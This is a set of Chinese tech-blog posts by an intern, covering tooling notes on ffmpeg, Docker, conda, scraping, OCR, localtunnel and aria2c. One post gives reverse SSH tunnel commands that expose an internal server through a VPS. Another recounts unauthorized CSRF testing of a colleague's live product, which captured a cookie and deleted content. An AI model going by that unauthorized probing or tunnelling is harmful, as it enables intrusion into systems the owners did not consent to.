69 | > * 关于Makefile组织工程结构这一块讲的不好,完全是滥竽充数,即便以我写过Makefile的来说,一开始都没有明白在Web工程中如何组织代码结构。还好看了nodeclub的源码中Makefile,才突然明白了。一则说明我的Makefile理解的不够深,二则说明了这一篇写的不好。不过也有收获了。
70 |
71 | > * 书中有个道理讲的我比较喜欢,很生动。余果问他朋友怎么学IOS开发,他朋友说:“有一台MAC就行了”。这样我想起那个知乎上别人问考研怎么考,有个人说:“考得起就考”。所谓悟得到便悟了。就是这个意思。说,你就输了。
72 |
--------------------------------------------------------------------------------
/source/_posts/2016-09-20-Something5.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 小技巧 V
4 | categories: 一个实习生
5 | tags: 实习笔记 小技巧
6 | ---
7 |
8 | #### Enviroment Configure
9 |
10 | * add-apt-repository: command not found:
11 |
12 | >
13 | `sudo apt-get install software-properties-common`
14 |
15 | * JAVA_HOME
16 |
17 | >
18 | `export JAVA_HOME=$(readlink -f /usr/bin/java | sed "s:bin/java::")`
19 |
20 | * ShadowSocks
21 |
22 | >
23 | 创建或修改默认config.json,只需要增加"port":"pwd",即可完成多用户配置,当然还有多用户管理系统:
24 | [Moess](https://github.com/wzxjohn/moeSS), [ss-panel](https://github.com/orvice/ss-panel)
25 | > 然后ssserver -c config/file/to/your/path,也许你还需要nohup屏蔽阻断信号,或者加入开机启动, rc.local
26 |
27 | * IRC密码忘了
28 |
29 | >
30 |
31 | /msg nickserv help sendpass 查看怎么找回密码
32 | /msg NickServ SENDPASS Nickname 找回密码,然后你的邮箱就会收到重置的一个条件密码
33 | /msg NickServ SETPASS mour <关联邮箱的条件码> <你的新密码>
34 | /msg NickServ identify yourpassword 密码登入服务器
35 |
36 |
37 | * IRC里面有人问个问题,我是用awk来做的,但是后来那人说要判断每次划分后的前缀。最后有人用下面方式这种先做出来了
38 |
39 | >
40 | ```bash
41 | echo -e '/abc:def:g\nhi:/jk:l' | while IFS=: read -a parts;
42 | do
43 | for part in "${parts[@]}";
44 | do
45 | [[ $part = /* ]] && echo "$part";
46 | done;
47 | done
48 | ```
49 | >
50 | 当时用了cat filename | awk -F '/' '{}' 被人建议读读下面的资源,意思就是使用 < 代替使用 cat 得到,以及不要用kill -9 之类的提议,以及一些理由。
51 | 不过对于一些初学者,我只能说,可以暂时不要这么考虑。
52 |
53 | #### Other
54 | 1. nutch 释放了新的版本
55 | 2. h5ai html5的文件下载管理
56 |
57 | #### Resources
58 |
59 | * [Something About Linux](http://porkmail.org/era/unix/award.html)
60 |
--------------------------------------------------------------------------------
/source/_posts/2016-10-05-Jmeter-PostMan.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: Jmeter & PostMan
4 | categories: 一个实习生
5 | tags: 实习笔记 全栈 工具
6 | ---
7 | ## 题记
8 | 学技术的时候没空,有空的时间不想写。也算是明白别人长期写一份博客是多么的有毅力。
9 | 本来是打算写成两篇,但本来的本来觉得这个都没什么可写的。像一些软件这种东西都应该是上手。No matter what, 还是写了,算是有所记录吧。
10 |
11 | ## 前因
12 | 大概又是一个月前,参与到部分API的编写以及交叉测试。就刚好用到了最开始学习NodeJs时的一款调试工具:Postman,当时只是顺手玩了一下,并没有用来编写测试脚本等功能。因此当重新拿起Postman时就花了一点时间去写测API的脚本。现在才知道为什么课本中说应该是由测试工程师来设定编程规范,给出单个的编写用例。当然,我是指真正的工程师,不是只会用工具的测试人员。也算了解到软件工程的重要性和文档编写的重要性。以前自己写东西的时候,都是随便写,现在自己都是设计好规范:API格式,变量命名。请求方式,返回数据,传递参数等等都是先编写好文档,然后再去编写程序的。规范性的重要不言而喻。
13 |
14 | ```shell
15 | awk '{printf "%s %s \n","groupName",$1}' filename.txt > testGroup.txt 增加一列
16 | ```
17 |
18 | * Postman
19 |
20 | > 
21 | 
22 |
23 |
24 |
25 | * Jmeter
26 |
27 | > 
28 | 
29 |
30 |
31 |
32 | * Web Test(本图来自网络,忘了是谁制作的了,谢谢。)
33 |
34 | > 
35 |
36 |
37 |
38 |
39 |
40 | ## 后记
41 | 有时间补一章专门讲测试用例自动化生成。哦,对了,那个Jmeter脚本还可以用Badboy录制自动导出。不过有时候效果并不太好,尤其是进行大批量图片上传的压力测试。哦,还有记得用Spotlight进行服务器端的监控,这样就可以得到CPU/NET/IO/DISK/MEM等服务器上的一些关键信息,进行判断并预测真实负载。
42 |
43 | ### 其他补充
44 | * 记住你的目的。假如你是为了数据的准确性,精准性。就不要为了一些工具没有的功能模块而自己去劳神编写,以及也不需要花里胡哨的图表。尤其是在工作中,要注意的还有时效。某些功能就需要工具本身提供,没有,一是你没找到,二还是你没找到。三,赶紧换工具吧。
45 | * tcpcopy这款工具也是压测用的,不过是用于真实的线上环境,将tcp请求引流,copy or dump下来,用于分析。
46 | * 后来,我说:还是去学下《周易》吧……
--------------------------------------------------------------------------------
/source/_posts/2016-10-10-Crawl-From-Little-IV.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 小小爬虫学习中(四)
4 | categories: 一个实习生
5 | tags: 爬虫与反爬虫
6 | ---
7 |
8 | ### 前言
9 |
10 | 一个月前的一次信息抓取,数据不多,信息是上海市的废品回收站。没什么可说的。代码也简单,不过问题还是在代码上。最开始用R,因为rvest包提取表格的效果很好。后来还是不行,就只有用python了。
11 |
12 | 
13 |
14 |
15 | ```R
16 | library(rvest)
17 | library(xml2)
18 |
19 | makeUrl <- function(i) {
20 | urllist = list()
21 | parturl <- "http://www.sh-recycle.org/hyshow.asp?id="
22 | initurl <- paste(parturl,i,sep = '')
23 | }
24 | webcontent = list()
25 | Origin_InfoData = data.frame("详细"=c("备 案 号", "会 员 号" ,"企业名称" ,"单位地址" ,"联系电话", "资质认定"))
26 |
27 | for (i in 1:1518)
28 | {
29 | webcontent <- read_html(makeUrl(i))
30 | temp_Table <- webcontent %>% html_table(fill = TRUE)
31 | if(length(temp_Table)==0){
32 | print(paste("企业不存在,ID:",i))
33 | }else{
34 | temp_InfoData <- data.frame(temp_Table[9][])
35 | names(temp_InfoData) <- c("详细", i)
36 | Origin_InfoData <- merge(Origin_InfoData,temp_InfoData,by = "详细")
37 | }
38 | }
39 |
40 | head(Origin_InfoData)
41 | ```
42 |
43 | 代码很简单,但是就是300条之后就不行了,报错不明显,查也查不到。怎么解决也解决不了,十分懊恼。最后直接去看那个ID的信息发现,在这个网站上的内容条目调换了,虽然都是这几样,但是新增了一个属性,并且把顺序改了。因此导致R的数据框合并不了。最后用python获取到。顺便吐槽这个网站的结构真差,全是table,tr,td嵌套。而且嵌套之深深似海。
44 |
45 |
46 | ```python
47 | # -*- coding: UTF-8 -*-
48 | import requests
49 | from bs4 import BeautifulSoup
50 |
51 | for i in range(1,1518): #,1518):
52 | try:
53 | url = "http://www.sh-recycle.org/hyshow.asp?id="+str(i)
54 | html_text = requests.get(url).text
55 | # print html_text
56 | soup = BeautifulSoup(html_text, 'lxml')
57 | infotable = soup.findAll('table')[8]
58 | info = infotable.findAll('td')
59 | with open('./ssssss.txt','a') as f:
60 | for i in info:
61 | f.write(i.text.encode('utf-8')+"/")
62 | f.write('\n')
63 |
64 | except Exception as e:
65 | pass
66 | finally:
67 | pass
68 | ```
69 | 清洗
70 | `< shanghaiss.txt | awk -F "/" '{for (i=1;i<=NF;i+=2)printf $i "/" ;printf"\n"}'`
71 |
72 |
73 | ### 最后
74 | 不得不说异步之厉害。Node.js + Request抓拉勾,分分钟被禁。而且测了一下移动端,5300多条数据好像1秒还是2秒的样子就到手了。最后的最后,不要用公司的网去爬东西。╮(╯▽╰)╭再也不能肆无忌惮了。定个小目标,看看Python下的异步写法。-_-
--------------------------------------------------------------------------------
/source/_posts/2016-11-01-Image-Parse.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: ffmpeg视频处理指南
4 | categories: 一个实习生
5 | tags: 实习笔记 全栈
6 | ---
7 |
8 | # 场景
9 | 前几天公司的人去北京参加一个视频搜索的比赛,然后发回来组委对数据处理的要求
10 |
11 | 
12 |
13 | * 画中画
14 | ```shell
15 | ffmpeg -y -i o_oC.mp4 -i y1.MP4 \
16 | -strict experimental \
17 | -filter_complex \
18 | "[1:a] atrim=15:30,adelay=5000|5000 [a1]; \
19 | [0:a][a1] amix [outa]; \
20 | [1:v] scale=120:-1,setpts=PTS-(10/TB) [1v]; \
21 | [0:v][1v] overlay=x=250:y=250:enable='between(t,5,200)'[outv]" \
22 | -map "[outv]" -map "[outa]" \
23 | -c:a aac -c:v libx264 \
24 | -b:v 1000k \
25 | -r 24 \
26 | output.mp4
27 | ```
28 |
29 | * 视频增加中图片
30 | ```shell
31 | ffmpeg -i y1.MP4 -i image.jpg \
32 | -filter_complex "[0:v][1:v] overlay=25:25:enable='between(t,0,2)'" \
33 | -pix_fmt yuv420p -c:a copy \
34 | addImage.mp4
35 | ```
36 |
37 | 可以通过修改between达到插入一段时间或者1秒,scale可以用来控制插入前后的比例。overlay的x,y分别是距离左上角的偏移量。-strict experimental和-strict -2的效果相同,但必须紧跟在-i选项之后,否则报错。
38 |
39 | * 视频压缩
40 | `ffmpeg -i y2.MP4 -acodec mp2 --psnr 1 compress.mp4`
41 | 之前对官网做性能优化的时候,把mp4转webm也能降低视频大小,但是视频压缩并不一定降低视频大小。
42 |
43 | * Gamma变换
44 | `ffmpeg -i y1.MP4 -strict -2 -vf "eq=gamma=0.5" gammaChange.mp4`
45 |
46 | * 增加白噪音
47 | `ffmpeg -i y7.MP4 -strict -2 -filter_complex "aevalsrc=-2+random(0)" noise.mp4`
48 |
49 | * 丢帧
50 | `avconv -r 24 -i src.mov -an -vf fps=fps=12 output.mov`
51 |
52 | * 增加字幕
53 | `ffmpeg -i y1.MP4 -f srt -i a.srt -c:v copy -c:a copy -c:s mov_text addSrt.mp4`
54 |
55 | * Reference Cut picture in Video
56 | `ffmpeg -ss [start] -i in.mp4 -t [duration] -c copy out.mp4`
57 |
58 | Update:2017.06.16
59 |
60 | * 取3,5秒的视屏转化为gif图片
61 | `ffmpeg -v warning -ss 3 -t 5 -i input.wmv -vf scale=3000:-1 -gifflags +transdiff -y sample.gif`
62 |
63 |
64 |
65 | ### Other
66 |
67 | 下面链接所附,只做参考,部分命令不能使用。以上所有列出代码,均自己使用过的。PS:总是说有时间有时间,其实,我不知道啊。。啊,我的毕设毕设。还有我给你定的拖拉那么多的事情。
68 |
69 | ### Resources
70 |
71 | * [ffmpeg-compress-video](http://stackoverflow.com/questions/4010832/ffmpeg-compress-video)
72 | * [use-ffmpeg-to-add-text-subtitles](http://stackoverflow.com/questions/8672809/use-ffmpeg-to-add-text-subtitles)
73 | * [cut-part-from-video-file](http://superuser.com/questions/377343/cut-part-from-video-file-from-start-position-to-end-position-with-ffmpeg)
74 | * [simulating-tv-noise](http://stackoverflow.com/questions/15792105/simulating-tv-noise)
75 | * [encode-video-in-reverse](http://stackoverflow.com/questions/2553448/encode-video-in-reverse)
76 | * [reduce-frame](http://superuser.com/questions/849739/how-do-i-reduce-frame-rate-without-increasing-duration)
77 | * [image_sequence](https://en.wikibooks.org/wiki/FFMPEG_An_Intermediate_Guide/image_sequence)
78 | * [video_convert_image](http://blog.pkh.me/p/21-high-quality-gif-with-ffmpeg.html)
--------------------------------------------------------------------------------
/source/_posts/2016-11-13-Docker-useage.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 日常使用的Docker命令
4 | categories: 一个实习生
5 | tags: 工具 全栈 实习笔记
6 | ---
7 |
8 |
9 | ```bash
10 | $ docker run -i -t --name alias_container_name images_name
11 | $ docker attach container_id
12 | ```
13 |
14 | ### someUser don't need root
15 |
16 | `sudo usermod -aG docker someUser `
17 |
18 | ### stop docker container
19 |
20 | `$ docker stop container_id`
21 |
22 | ### export single file from runing container
23 |
24 | ```bash
25 | $ docker cp name.txt container_name:/name.txt
26 | $ docker cp container_name:/name.txt name.txt
27 | ```
28 |
29 | ### delete force or not
30 |
31 | ```bash
32 | $ docker rm container
33 | $ docker rmi images
34 | $ dcoker rmi -f images | docker rm -f container_id
35 | ```
36 |
37 | ### remove all stoped container
38 |
39 | `$ docker rm $(docker ps -a -q)`
40 |
41 | ### kill containers and remove them:
42 |
43 | `$ docker rm $(docker kill $(docker ps -aq))`
44 |
45 | ### remove all images
46 |
47 | `$ docker rmi $(docker images -qf "dangling=true")`
48 |
49 | `docker rmi $(docker images | grep -v 'ubuntu\|my-image' | awk {'print $3'})`
50 |
51 | ### mount the directory to docker
52 |
53 | `$ docker run -d P --name mnistDemo -v .:/mnistDemo caffe:latest /bin/bash`
54 |
55 | ### link container
56 | `docker run -i -t --name container1 --net=my-network --net-alias=container1 ubuntu:trusty /bin/bash`
57 |
58 | ### docker expose port
59 | `$ docker run -d -p 80:80 my_image service nginx start`
60 |
61 |
62 | References:
63 |
64 | * [how-is-docker-different-from-a-normal-virtual-machine](http://stackoverflow.com/questions/16047306/how-is-docker-different-from-a-normal-virtual-machine)
65 |
66 | * [docker-cant-connect-to-docker-daemon](http://stackoverflow.com/questions/21871479/docker-cant-connect-to-docker-daemon)
67 |
68 | * [how-to-create-a-bidirectional-link-between-containers](http://stackoverflow.com/questions/25324860/how-to-create-a-bidirectional-link-between-containers)
69 |
70 | * [docker build](https://docs.docker.com/engine/reference/commandline/build/)
71 |
72 | * [docker commit](https://docs.docker.com/engine/reference/commandline/commit/)
73 |
--------------------------------------------------------------------------------
/source/_posts/2016-11-22-Ocr-Jeston-Tk1-In.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 浅谈OCR在Jeston TK1上的产品化两种解决方案
4 | categories: 一个小学生
5 | tags: Tesseract 工具
6 | ---
7 |
8 |
9 | 一直关注Video++这家公司。自从看到了在招OCR算法工程师,并负责评估TK1上的产品化。恰好毕业设计在做Tk1上的文本识别(算是体会到水了),就勉强写一下吧。我感觉这个做出来的东西肯定不太便宜,个人不一定玩的起。
10 |
11 | 如我所理解,机器学习只是数据挖掘的一种方法,而数据挖掘最终目的也是在某一个领域内或者多个领域内进行迁移,得到相应的解决方法。因此在在做Robocup 3d simulation 的时候就有意识的往上面应用一些方法,当然我最大的心愿就是Use ML With Penetration. 相信未来安全领域和AI领域以及各种机器人一定一片沃土。
12 |
13 | 首先:拆掉风扇,风扇这个东西吧,噪音太大,必须拆掉。因为热的并不是很大到不可接受。
14 |
15 | 两种方案
16 |
17 | A: Tesseract
18 | [Tesseract.js](http://tesseract.projectnaptha.com/) + [gpu.js](http://gpu.rocks/)
19 |
20 | Tesseract是一款众所周知的开源OCR,但是Tesseract.js可能知道的就不多了,但是他的github的star数比Tesseract多了不少吧。纯浏览器端加载,也可以npm导入作为后端调用。使用简单,效率不凡。由于提到了说要利用GPU的计算能力,初步以为使用gpu.js重写数据结构和计算部分。
21 |
22 |
23 | B: DeepLearning with [Caffe](http://caffe.berkeleyvision.org/)
24 | 这个思路简单,类似交叉编译。就是在自己的机器上把模型训练好,安装GPU模式的caffe到Jeston Tk1 , 然后写代码调用训练好模型处理现在的数据进行OCR即可。
25 | * 问题1: Jeston Tk1上的caffe安装耗时耗利,且cudnn的版本会导致不能启用GPU模式。
26 | 解决方案: docker 部署,直接pull下来docker hub上封装好的GPU模式的caffe。这样对产品化,量产有了一定的保障。但其实Tk1的刷机也比较麻烦,对网络环境的要求是自由的,安装过程中,出现依赖有时候还需要手动安装。
27 | * 问题2:Jeston Tk1上的docker安装(docker.io ,docker-engine),docker安装成功之后daemon进程无法启动,始终无法启动。
28 | 解决方案:未知,issued(目前由于信息不完善被关闭了,等在这边安定之后,try again)
29 | * 问题3:汉字不同英文,需要收集的数据集太大。而且数据有需要精准标注,耗费人力物力巨大。且由于不同的书法体,楷体,行楷,隶书等"规矩"的字体还好说,但是向草书,笔走龙蛇之势,普通人都难以辨别,尚需书法家,何况机器。
30 | 解决: 未知,不过这个属于算法部分。
31 |
32 | 最后的最后, 回家三天停电两天,不得不服。另相遇海知,十分开心。
33 |
34 | 综上:不敢妄下断言。可行度大概七八成。但是考虑到部署和板子本身的成本问题批量生产其实并不乐观。一块板子一千六左右。
35 |
36 | update 2016/12/12:
37 |
38 | 从github上跑的一个[caffe-ocr](https://github.com/pannous/caffe-ocr),其中会有一部分是不存在的文件,只要删除掉,基本就行了。
39 | 可行性还是很高的。印刷体的话基本上是没什么挑战性的。中文的有一个数据集 CAISA-HWDB。来上海的这些天,突然觉得上海的消费水平,相对于这里的生活水平其实这个板子也是便宜的可以了。
40 |
41 | ```bash
42 | #delete TimesNewRoman-10-4.png TimesNewRoman-10-3.png imesNewRoman-10-1.png TimesNewRoman-10-5.png TimesNewRoman-10-2 TimesNewRoman-6-1.png
43 | $ sed -i '/TimesNewRoman-10-5.png/d' `ls | grep _index`
44 | $ sed -i 's/GPU/CPU/g' alpha_solver.prototxt #我的是CPU模式的,看你自己的情况
45 | $ caffe train -solver alpha_solver.prototxt
46 | ```
47 | 
48 |
49 | other: Docker说是不支持armhf的,所以如果安装caffe的话还是需要手动安装。
50 | 但是不一定局限于caffe,可以安装Tensorflow,Theano.
--------------------------------------------------------------------------------
/source/_posts/2016-12-05-ssh-reverse-tunnle.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: SSH 内网穿透
4 | categories: 一个实习生
5 | tags: Linux 工具 SSH
6 | ---
7 |
8 | 买的vps配置不好,远不如实验室的服务器。So,拿我的vps做下端口转发,即可。
9 |
10 |
11 | * step1: 建立target对server的免密登录 (操作在target上,即实验室的服务器上)
12 |
13 | * step2: 建立server对host的端口转发 (操作在target上,依旧是实验室的服务器上)
14 |
15 | * step3: 从host连接到转发的端口即可登录target
16 |
17 |
18 | 盗图一张
19 | 
20 |
21 | step2:
22 |
23 | `ssh -p 22 -qngfNTR 6766:127.0.0.1:22 userVPS@IP`
24 |
25 | 或者
26 |
27 | `autossh -M 6777 -NR newport:127.0.0.1:22 -i ~/.ssh/id_rsa userVPS@IP -p vpssshport >> /var/log/ssh_nat.log 2>&1 &`
28 |
29 |
30 |
31 | other:
32 |
33 | * ssh周边之: `sshpass`,`autossh`
34 | * 我没有使用autossh配置文件
35 |
36 | ### Reference:
37 |
38 | * [reverse-ssh-port-forwarding](https://toic.org/blog/2009/reverse-ssh-port-forwarding/)
39 | * [ssh-and-reverse-tunnel](http://www.freeoa.net/osuport/netmanage/ssh-and-reverse-tunnel_1896.html)
40 | * [使用SSH反向隧道进行内网穿透](https://www.zhukun.net/archives/8130)
41 |
--------------------------------------------------------------------------------
/source/_posts/2016-12-17-Just-Taking-about-code-security.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 浅谈代码安全及安全
4 | categories: 一个实习生
5 | keywords: 代码审计 安全意识
6 | tags: 实习笔记
7 | ---
8 |
9 | #### 前言
10 | 业余看代码之前,对公司的一些产品进行了简单的安全测试。其实那些真正牛逼的人都是脾气好又低调的很啊,佩服佩服,努力学习,向你们看齐↖(^ω^)↗ 。别人送了一张FIT的票,好开心啊,谢谢Black_hole大表哥。现在终于理解别人去看演唱会的那种激动了,小菜鸟成长ING
11 |
12 | #### 胡言乱语
13 |
14 | 代码安全毋庸置疑是什么重要的,从安全角度来说,如果说除了安全问题。运维之外,那么首个应该负责的人就是主程。再假如一个主程没有丝毫的安全概念,那写出来的代码健壮性可想而知。这样下去,在我看来,10年8年的成长也不过仅仅是一些经验的积累,或许还有一些其他的东西,不过我是看不到了。
15 |
16 | 首先:
17 |
18 | 1. 意识很重要 x 1
19 |
20 | 2. 安全知识很重要 x 2
21 |
22 | 3. 代码规范很重要 x 3
23 |
24 | 4. 架构设计和代码审查很重要 x4
25 |
26 | 其次:
27 |
28 | * 不只是密码,不要CTO的重点是放在密码爆破,密码泄露上面,密码复杂度上。道理上讲是对的,但是也是不对的,要考虑全。
29 |
30 |
31 | * 不仅要知道怎么发现还要知道怎么避免和怎么修复。
32 |
33 | 没了,安全一旦出问题,结果显而易见。包括不限于,代码安全,运维安全,逻辑安全,产品安全,设计上的安全,以及依托于第三方工具的安全性。
34 |
35 |
36 | * 拿一个例子来说:本司有个前端,听说是跟着老板一起打天下的人。另,本人所在的公司没有一个人对安全有任何概念。运维混乱,没有架构,没有任何安全体系,然而我只是个爬虫实习生。。。。所以可想而知,当时我猜前端哥的代码肯定有漏洞,果不其然,CSRF,把一个构造好的链接用短网址处理下丢过去(因为有个上班的时候所有人都会开看板网页的,而且这个产品还是线上的,哭瞎在厕所)。立马把测试的文章删除了,同时cookie也到手了。报给CTO,CTO表示知道了,可能由于我表述不精,不会吹牛,看来这件事情没有引起太大的重视。同时API的接口设计根本没有做任何过滤,一开始timestap是需要在脚本里面构造好,后来直接给URL里面放上一个Date.now()传过去,竟然也行。也就是说API接口里面根本没有转义或者转成字符串。。。。
37 |
38 | * 再拿一个例子说: 本司有个自然语言处理的大哥,开发者后台也是他们组写的。什么是懵逼,这就是懵逼,当时是让我体验产品呢,出于强迫症开始进行测试。我了草,推广链接居然把APPKEY都分享出去了。我了草,为什么,why??
39 |
40 | * 再拿一个例子说: 我在的这个组,为什么,为什么可以直接到发送对数据库的查询。为什么我Mongo本身数据不多,我还要交给ES查询,再从ES拿。
41 |
42 | * 还有一个例子:是关于官网的,官网有个博客的连接,wordpress的,然而这个有xmlrpc的漏洞,报给他们说修复,修复竟然是从官网把链接去掉了,我去,好神奇啊,那看来我就没办法直接访问blog.xxx.xxx了吗???
43 |
44 | * 我去,我突然又发现这个cookie好像没有有效时间的限制。
45 |
46 | #### 后记
47 |
48 | 1. 能进这家公司,很大一部分的程度上是因为谈的来,还有我比较喜欢贤二,所以才有一种非常想来的感觉。之前友情提示了一下他们的安全体系十分的不安全,导致我轻松地就能接触到了他们所有的数据库,还有代码。当时其实是不报什么希望了,缘法自然,如是而已。然而因缘际会总是十分巧妙,最后还是来了。听说当时一面的爬虫工程师,对我不是很满意。
49 |
50 | 2. 如果说你做了八九年,也不过就现在这个水平,你肯定有过人之处,但你有什么值得对我这个还没出道一年,还没毕业的人骄傲呢。问你问题你不愿意,那我还怎么接手你的代码,写的乱七八糟,连个文档都没有,又有什么值得了不起呢? 讲信修睦,选贤与能,难否?
51 |
52 | 3. 表示再也不会对任何人说,这个很简单很简单。我不关心什么什么,我只要他实现就行了。这是不负责任的表现。想起以前对实验室的学弟这样说,这个算法很简单,你只要加进去就行了。 (原来人会变得温柔,是透彻的懂了,哈哈)以后有人这样再对我这样说,我肯定是拒绝的。
53 |
54 | 4. 没有什么是绝对安全的
55 |
56 |
--------------------------------------------------------------------------------
/source/_posts/2017-06-14-Review-S01-localtunnel.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: locatunnel的使用回顾
4 | categories: 一个实习生
5 | keywords: Localtunnel Reverse
6 | tags: Linux 工具
7 | ---
8 |
9 | #### 前言:
10 | 很久没有更新技术了,主要是因为一直在学习新的知识吧。这边刚结束,那边又开始去搞毕业设计了。而出于个人感情原因,自己又从原公司离职了。虽然拿了一家研究院的安全offer,但是老妈觉得长沙太远。然后呢,问了10个朋友,8:2是不让去的,只有两个说让我去。没办法,先找找工作吧, 一边找工作,一边更新下这大半年的积累。边想边更,不一定是按照时间序列的。
11 |
12 | #### 正文:穿越内网的http服务
13 | 当你在内网的时候想把内网的一个web展示,或者说临时展示出去的时候,又不想那么麻烦的搭建一个web服务器之类的,而是希望直接在本机上展示出去,那么这个时候,就可以使用localtunnel了。(ps:前提是你已经安装了nodejs)
14 |
15 | 只需要采用 `npm install -g localtunnel`进行安装,然后使用`lt --port 80`即可进行转发,运行命令后`localtunnel`服务器会返回一个网址的。可谓十分方便,当然我们不能只介绍这么一点玩法,下面看其他有趣的玩法(强行凑博客感)。
16 |
17 | * 搭建自己的`localtunnel`服务器,以便提升访问速度。
18 | ```bash
19 | $ git clone git://github.com/defunctzombie/localtunnel-server.git
20 | $ cd localtunnel-server
21 | $ npm install
22 |
23 | $ bin/server --port 1234
24 | ```
25 |
26 | * lt命令的其他用法
27 | ```bash
28 | $ lt --host http://yourserver:1234 --port 5000 -s prefix
29 | #这个就以为着转发本机5000端口到服务器yourserver上,然后获取域名为prefix.youserver:1234,可以通过该域名进行访问。
30 | ```
31 |
32 |
33 | #### Resources
34 |
35 | * [localtunnel](https://github.com/localtunnel/localtunnel)
36 | * [localtunnel-server](https://github.com/localtunnel/server)
--------------------------------------------------------------------------------
/source/_posts/2017-06-14-Review-S02-conda-my-useage.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: conda in action
4 | categories: 一个实习生
5 | keywords: Conda Python Useage
6 | tags: 工具
7 | ---
8 |
9 |
10 | 无论是使用virtualenv还是conda,本意无非是使开发环境变得干净纯粹,当然我们还可以使用`vagrant`启动一个虚拟机,在虚拟机里操作,或者`docker`起一个`container`也一样。
11 |
12 | * 基础的用法
13 | ```bash
14 | $ conda info --env
15 | $ conda create -n testenv
16 | $ activate testenv
17 | $ deactivate testenv
18 | ```
19 | * 在`linux`下你可能需要这样
20 | ```bash
21 | $ source activate testenv
22 | $ source deactivate testenv
23 | ```
24 | * 指定`python`版本
25 | ```bash
26 | $ conda create -n testenv python=27
27 | ```
28 | * 删除某个虚拟环境
29 | ```bash
30 | $ conda env remove --name tensorflow
31 | ```
32 |
33 | * 使`jupyter`使用某个虚拟环境
34 | ```bash
35 | $ source activate myenv
36 | $ python -m ipykernel install --user --name myenv --display-name "Python (myenv)"
37 | $ source activate other-env
38 | $ python -m ipykernel install --user --name other-env --display-name "Python (other-env)"
39 | ```
40 |
41 | * 在服务器上启动一个无浏览器的`jupyter notebook`
42 | ```bash
43 | $ jupyter notebook --no-browser
44 | $ jupyter notebook --no-browser --port 6699
45 | ```
46 |
47 | * 集成`pyspark`
48 | ```bash
49 | #step 1
50 | $ mv spark-1.2.0-bin-hadoop2.4 /opt/spark-1.2.0
51 | $ ln -s /opt/spark-1.2.0 /opt/spark
52 | #step 2 (长久生效应该将下列的语句写到bashrc文件里,或者zshrc里)
53 | $ export SPARK_HOME=/opt/spark
54 | $ export PATH=$SPARK_HOME/bin:$PATH
55 | $ export PYSPARK_DRIVER_PYTHON=jupyter
56 | $ export PYSPARK_DRIVER_PYTHON_OPTS='notebook'
57 | #step 3
58 | $ pyspark
59 | ```
60 |
61 | * 集成 `R`
62 | ```R
63 | > install.packages(c('repr', 'IRdisplay', 'evaluate', 'crayon', 'pbdZMQ', 'devtools', 'uuid', 'digest'))
64 | devtools::install_github('IRkernel/IRkernel')
65 | > IRkernel::installspec()
66 | ```
67 |
68 | > 当然,docker似乎已经成了更加方便的部署方法,可我觉得哪里缺了点什么。这些东西一定要自己先手动部署一次。之后再使用也知道是个怎么回事了。
69 |
70 | #### Resources
71 |
72 | * [pyspark-with-jupyter](https://blog.sicara.com/get-started-pyspark-jupyter-guide-tutorial-ae2fe84f594f)
73 | * [docker-pyspakr-jupyter](https://github.com/jupyter/docker-stacks/tree/master/pyspark-notebook)
74 | * [IRkernel](https://github.com/IRkernel/IRkernel)
75 |
--------------------------------------------------------------------------------
/source/_posts/2017-06-16-Review-S06-Baiduyun-download-Taolu.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 百度云盘下载的套路
4 | categories: 一个小学生
5 | tags: 小技巧 工具
6 | ---
7 |
8 | #### 前言: 都是套路
9 | 你一定也是烦的不行不行的,下载百度云限速不说,还不能在linux服务器上搞,下面就介绍下如何在Linux服务器上下载文件,并能突破速度限制。
10 |
11 |
12 | * [客户端bypy](https://github.com/houtianze/bypy)
13 | * [链接导出助手](https://github.com/acgotaku/BaiduExporter)
14 |
15 | 出于简便我选择了链接导出,下载下来之后加载插件到`chrome`,然后导出链接并使用`aira2c`下载。 aria2c还有web管理界面,使用起来更方便。而且其中一个是`pyspider`的作者开发的,`binux`简直太厉害了。
16 |
17 | * step1:
18 |
19 | 
20 |
21 | * step2
22 |
23 | 
24 |
25 | * step3
26 |
27 | 
28 |
29 | step1,2,3略显白痴,小技巧就是拿到链接放在aria2c时批量下载记得在每个下载后面加`&`。
30 |
31 | ```bash
32 | #下载磁力链接
33 | $ aria2c "magnet:?xt=urn:btih:dhsudfhisudhfuidshfisdhfiusdhfsdhiufh&dn=aria2"
34 |
35 | #打印种子内的内容
36 | $ aria2c -S file.torrent
37 |
38 | #使用代理
39 | $ aria2c --all-proxy='http://127.0.0.1:8080' http://host/file
40 |
41 | #下载完成后执行某条命令。
42 | $ aria2c --on-download-complete=COMMAND http://example.org/file.iso
43 | ```
44 |
45 | 其实`aria2c`有许多高级的玩法,比`wget`快的多,多线程,可以直接解析磁力链和种子。可以根据官网的信息接着玩。有空接着补。
46 |
47 |
48 |
49 | #### Resources
50 | * [Aria2c](https://aria2.github.io/)
51 | * [Aria2c使用举例](http://sydi.org/posts/linux/aria2c-usage-sample-cns.html)
--------------------------------------------------------------------------------
/source/_posts/2017-06-18-Review-S09-Simple-For-Mom.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 旧电脑折腾日记
4 | categories: 一个小学生
5 | tags: 小技巧
6 | ---
7 |
8 | #### 前言 : 旧电脑退休了
9 | 这两天租房子这小区维修水管,早上6点就突突突打电钻,突突的睡不着。真是折腾。
10 | 毕业了,旧电脑也退休了,收拾收拾放家里。嗯,就这样。
11 |
12 | #### 正文 : 如何开始
13 |
14 | 目标:
15 |
16 | 1. 字体大,容易操作,尽量不要有广告
17 | 2. 能看电视剧,听音乐,用用微信
18 | 3. 安全,不要被劫持,不要被钓鱼
19 |
20 |
21 | 具体:
22 | 系统采用win10,删除不必要软件,优化系统性能。调整显示,安装常用软件,影音安全,禁止命令行,运行指定程序。
23 |
24 | * 拆了1T硬盘,换个500G的上去,把1T的拿来做移动硬盘
